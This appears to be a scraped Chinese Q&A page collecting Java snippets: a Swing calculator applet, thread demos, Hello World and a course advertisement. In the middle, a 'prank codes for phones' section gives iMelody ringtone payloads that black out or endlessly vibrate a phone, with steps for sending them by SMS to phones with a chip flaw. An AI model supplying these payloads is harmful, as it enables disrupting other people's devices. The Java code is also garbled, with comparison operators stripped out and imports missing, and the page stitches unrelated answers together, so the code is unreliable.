JAVA代码大全(java代码大全手册)

http://www.itjxue.com  2023-01-29 04:30  来源:未知  点击次数: 

java的一些代码...

我觉得写得还可以,累死了,50分不容易啊

你还可以修改一下

import java.applet.Applet;

import javax.swing.*;

import javax.swing.border.*;

public class Calculator extends JApplet implements ActionListener

{

private final String[] KEYS={"7","8","9","/","sqrt",

"4","5","6","*","%",

"1","2","3","-","1/x",

"0","+/-",".","+","="

};

private final String[] COMMAND={"Backspace","CE","C"};

private final String[] M={" ","MC","MR","MS","M+"};

private JButton keys[]=new JButton[KEYS.length];

private JButton commands[]=new JButton[COMMAND.length];

private JButton m[]=new JButton[M.length];

private JTextField display =new JTextField("0");

// public JTextField setHorizontalAlignment(int alignment);

// private JTextField display.setHorizontalAlignment(JTextField.RIGHT)=new JTextField("0");

private void setup()

{

display.setHorizontalAlignment(JTextField.RIGHT);

JPanel calckeys=new JPanel();

JPanel command=new JPanel();

JPanel calms=new JPanel();

calckeys.setLayout(new GridLayout(4,5,3,3));

command.setLayout(new GridLayout(1,3,3,3));

calms.setLayout(new GridLayout(5,1,3,3));

for(int i=0;iKEYS.length;i++)

{

keys[i]=new JButton(KEYS[i]);

calckeys.add(keys[i]);

keys[i].setForeground(Color.blue);

}

keys[3].setForeground(Color.red);

keys[4].setForeground(Color.red);

keys[8].setForeground(Color.red);

keys[9].setForeground(Color.red);

keys[13].setForeground(Color.red);

keys[14].setForeground(Color.red);

keys[18].setForeground(Color.red);

keys[19].setForeground(Color.red);

for(int i=0;iCOMMAND.length;i++)

{

commands[i]=new JButton(COMMAND[i]);

command.add(commands[i]);

commands[i].setForeground(Color.red);

}

for(int i=0;iM.length;i++)

{

m[i]=new JButton(M[i]);

calms.add(m[i]);

m[i].setForeground(Color.red);

}

JPanel panel1=new JPanel();

panel1.setLayout(new BorderLayout(3,3));

panel1.add("North",command);

panel1.add("Center",calckeys);

JPanel top=new JPanel();

top.setLayout(new BorderLayout());

display.setBackground(Color.WHITE);

top.add("Center",display);

getContentPane().setLayout(new BorderLayout(3,5));

getContentPane().add("North",top);

getContentPane().add("Center",panel1);

getContentPane().add("West",calms);

}

public void init()

{

setup();

for(int i=0;iKEYS.length;i++)

{

keys[i].addActionListener(this);

}

for(int i=0;iCOMMAND.length;i++)

{

commands[i].addActionListener(this);

}

for(int i=0;iM.length;i++)

{

m[i].addActionListener(this);

}

display.setEditable(false);

}

public void actionPerformed(ActionEvent e)

{

String label=e.getActionCommand();

// double zero=e.getActionCommand();

if(label=="C")

handleC();

else if(label=="Backspace")

handleBackspace();

else if(label=="CE")

display.setText("0");

else if("0123456789.".indexOf(label)=0)

{handleNumber(label);

// handlezero(zero);

}

else

handleOperator(label);

}

private boolean firstDigit=true;

private void handleNumber(String key)

{

if(firstDigit)

display.setText(key);

else if((key.equals("."))(display.getText().indexOf(".")0))

display.setText(display.getText()+".");

else if(!key.equals("."))

display.setText(display.getText()+key);

firstDigit=false;

}

//private void handlezero(String key)

//{

// if(!((double)display.setText(key))

// display.setText(0);

// }

private double number=0.0;

private String operator="=";

private void handleOperator(String key)

{

if(operator.equals("/"))

{

if(getNumberFromDisplay()==0.0)

display.setText("除数不能为零");

else

{

number/=getNumberFromDisplay();

long t1;

double t2;

t1=(long)number;

t2=number-t1;

if(t2==0)

display.setText(String.valueOf(t1));

else

display.setText(String.valueOf(number));

}

}

else if(operator.equals("1/x"))

{

if(number==0.0)

display.setText("零没有倒数");

else

{

number=1/number;

long t1;

double t2;

t1=(long)number;

t2=number-t1;

if(t2==0)

display.setText(String.valueOf(t1));

else

display.setText(String.valueOf(number));

}

}

else if(operator.equals("+"))

number+=getNumberFromDisplay();

else if(operator.equals("-"))

number-=getNumberFromDisplay();

else if(operator.equals("*"))

number*=getNumberFromDisplay();

else if(operator.equals("sqrt"))

{

number=Math.sqrt(number);

}

else if(operator.equals("%"))

number=number/100;

else if(operator.equals("+/-"))

number=number*(-1);

else if(operator.equals("="))

number=getNumberFromDisplay();

long t1;

double t2;

t1=(long)number;

t2=number-t1;

if(t2==0)

display.setText(String.valueOf(t1));

else

display.setText(String.valueOf(number));

operator=key;

firstDigit=true;

}

private double getNumberFromDisplay()

{

return Double.valueOf(display.getText()).doubleValue();

}

private void handleC()

{

display.setText("0");

firstDigit=true;

operator="=";

}

private void handleBackspace()

{

String text=display.getText();

int i=text.length();

if(i0)

{

text=text.substring(0,i-1);

if(text.length()==0)

{

display.setText("0");

firstDigit=true;

operator="=";

}

else

display.setText(text);

}

}

public static void main(String args[])

{

JFrame f=new JFrame();

Calculator Calculator1=new Calculator();

Calculator1.init();

f.getContentPane().add("Center",Calculator1);

f.setVisible(true);

f.setBounds(300,200,380,245);

f.setBackground(Color.LIGHT_GRAY);

f.validate();

f.setResizable(false);

f.addWindowListener(new WindowAdapter()

{

public void windowClosing(WindowEvent e)

{

System.exit(0);

}

});

f.setTitle("计算器");

}

}

安卓手机整人代码java大全

BEGBEGIN:IMELODY

VERSION:1.2

FORMAT:CLASS1.0

COMPOSER:MIK(23)Fomat

BEAT:180

MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff

("+melody+"@9999999999999999999999999)"

手机黑屏代码

BEGIN:IMELODY

BEAT:1200

MELODY:(ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600)

END:IMELODY

手机狂震代码

BEGIN:IMELODY

VERSION:1.2

FORMAT:CLASS1.0

BEAT:100

MELODY:(ledoffledonbackoffbackonvibeon@0)

END:IMELODY

说明

1 “@”后面的数字越大,重复次数越多

2把上面代码复制,在计算机上保存为.txt文本文件,再改名为 .imy 文件

3 imy 放到手机里的Audio文件夹

4写短信(不是彩信) 写短信时, 插入铃声对象(自定义铃声对象,就是刚才放在audio 里的imy 文件) 并发送, 对方只要是存在这个芯片漏洞,那么则会产生上述所说效果.

java线程的经典代码

package threadgroup;

class ThreadDemo3 extends Thread {

private String name;

private int delay;

public ThreadDemo3(String sname, int i_delay) {

name = sname;

delay = i_delay;

}

public void run() {

try {

sleep(delay);

} catch (InterruptedException e) {

}

System.out.println("多线程测试!\n" + name + "\n" + delay);

}

}

public class testMyThread {

public static void main(String[] args) {

ThreadDemo3 th1,th2,th3;

th1 = new ThreadDemo3("线程1", (int) (Math.random() * 900));

th2 = new ThreadDemo3("线程2", (int) (Math.random() * 900));

th3 = new ThreadDemo3("线程3", (int) (Math.random() * 900));

th1.start();

th2.start();

th3.start();

}

}

package threadgroup;

public class threadDemo {

public static void main(String[] args) {

Thread t = Thread.currentThread();

t.setName("你好吗?");

System.out.println("正在进行的Thread是:" + t);

try {

for (int i = 0; i 5; i++) {

System.out.println("我不叫穆继超" + i);

Thread.sleep(3000);

}

} catch (Exception e) {

// TODO: handle exception

System.out.println("Thread has wrong" + e.getMessage());

}

}

}

package threadgroup;

public class threadDemo2 implements Runnable {

public threadDemo2() {

Thread t1 = Thread.currentThread();

t1.setName("第一个主进程");

System.out.println("正在运行" + t1);

Thread t2 = new Thread(this, "");

System.out.println("在创建一个进程");

t2.start();

try {

System.out.println("使他进入第一个睡眠状态");

Thread.sleep(2000);

} catch (InterruptedException e) {

System.out.println("Thread has wrong" + e.getMessage());

}

System.out.println("退出第一个进程");

}

public void run() {

try {

for (int i = 0; i 5; i++) {

System.out.println("进程" + i);

Thread.sleep(3000);

}

} catch (InterruptedException e) {

// TODO: handle exception

System.out.println("Thread has wrong" + e.getMessage());

}

System.out.println("退出第二个进程");

}

public static void main(String[] args) {

new threadDemo2();

}

}

给段最简单的java代码 让我新手看一下

最简单的java代码肯定就是这个了,如下:

public class MyFirstApp

{

public static void main(String[] args)

{

System.out.print("Hello world");

}

}

“hello world”就是应该是所有学java的新手看的第一个代码了。如果是零基础的新手朋友们可以来我们的java实验班试听,有免费的试听课程帮助学习java必备基础知识,有助教老师为零基础的人提供个人学习方案,学习完成后有考评团进行专业测试,帮助测评学员是否适合继续学习java,15天内免费帮助来报名体验实验班的新手快速入门java,更好的学习java!

(责任编辑:IT教学网)

更多

推荐其它软件文章